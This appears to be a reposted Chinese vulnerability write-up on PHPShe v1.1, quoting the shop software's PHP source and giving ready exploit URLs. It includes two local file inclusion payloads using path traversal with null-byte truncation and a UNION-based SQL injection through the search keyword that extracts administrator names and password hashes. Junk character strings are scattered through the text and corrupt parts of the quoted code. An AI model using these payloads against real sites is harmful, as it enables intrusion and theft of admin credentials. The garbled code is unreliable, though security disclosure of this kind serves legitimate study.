phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
& g! B) l) P7 n6 J3 _, E# r/* Phpshe v1.1 Vulnerability
' b, c# w) N* h  j) u# |/* ========================
/* By: : Kn1f3
" f4 H% r$ u$ T* ~% x/* E-Mail : 681796@qq.com
' E6 J9 M2 B+ C' p! o; W1 F/*******************************************************/
/ Z0 d3 t% b0 h$ ~0 q" q4 I! Y! C9 Z0×00 整体大概参数传输


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//common.php
& A0 e+ |1 P, _. i* R+ pif (get_magic_quotes_gpc()) {
! @  t- T: C. j, _* v!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
% Z0 ?* ~* v& a; t4 I5 G2 q; Nelse {
( q0 ~! f4 |6 t: t& @! L: G2 a3 K!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
) X6 q, q1 N4 ~6 l9 s6 y!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞
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2 P% R- n' ^' f//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
1 m% Y) d$ [9 x- x! S4 ipe_result();
?>
( {9 I- f7 f  W9 O9 ^, G//common 文件 第15行开始
. [2 @6 @' D8 u1 s( A; M% Lurl路由配置
% T/ N) \" u% K/ }" e$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
9 j1 m( G& H" I7 U9 t  j$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
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. |3 Z) _  q" }& C7 Q 0×02 搜索注入
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<code id="code2">

//product.php文件
: ]4 r2 q2 }, M! p( L+ `case 'list':
/ a: b# ^4 y. P$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
/ G. _' j4 ~) N% b* x* S- k//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
2 y& D* i7 `; Z( ?3 D! b* lwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
+ V4 g/ c# X, m$ h}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
& E+ T" G8 G7 a% O  p% W# Dif ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
$sqlwhere .= " order by `product_id` desc";
! [% ~9 T) Z( n, r0 e& V}
1 C9 p/ c# H+ G! D3 _$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
! ?4 c% w5 ]* ?# q) m# d//热卖排行
$product_hotlist = product_hotlist();
% }( \# V' G3 ~8 X//当前路径
& F* C; |) ~: P$nowpath = category_path($category_id);
, [! q2 ?: B5 u: G. A! H! o/ P$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
) V' m: i( O& S4 P7 K& ~//跟进selectall函数库
6 U# B" I9 B4 x+ A: R- a5 Epublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
4 _" x* b% d1 J% K6 ^& S$ h{
//处理条件语句
! F, V- J$ W7 U8 B) [- B& K$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
1 Q3 O, e& ^% A+ x$ ]. m  n//exp
0 }. T4 y7 W. A+ u' X4 t0 ]product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>
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0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

( G  U7 t5 d) Z5 V' K- z$cache_payway = cache::get('payway');

4 U, N& v" K4 t) _! Yforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

/ Z0 K& i. K5 b  D3 d8 @}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

1 L3 W& B( B0 M, {& _: t# cif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

3 h7 B. Y7 P: K6 `foreach ($info_list as $v) {

8 y: N" g& p5 h$ t% H3 p0 M$order['order_name'] .= "{$v['product_name']};";
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$ }" O5 w3 G: y$ c: I& w}

  ^9 Y/ Z) U8 a; y( Wecho '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

' k0 V1 U1 Z) t7 n# [- a9 Nelse {

pe_error('支付错误...');

}

}

$seo = pe_seo('选择支付方式');

3 x" E  m$ U1 p) g. G4 Linclude(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
5 A9 t' d& G; @$ W- W; ahttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg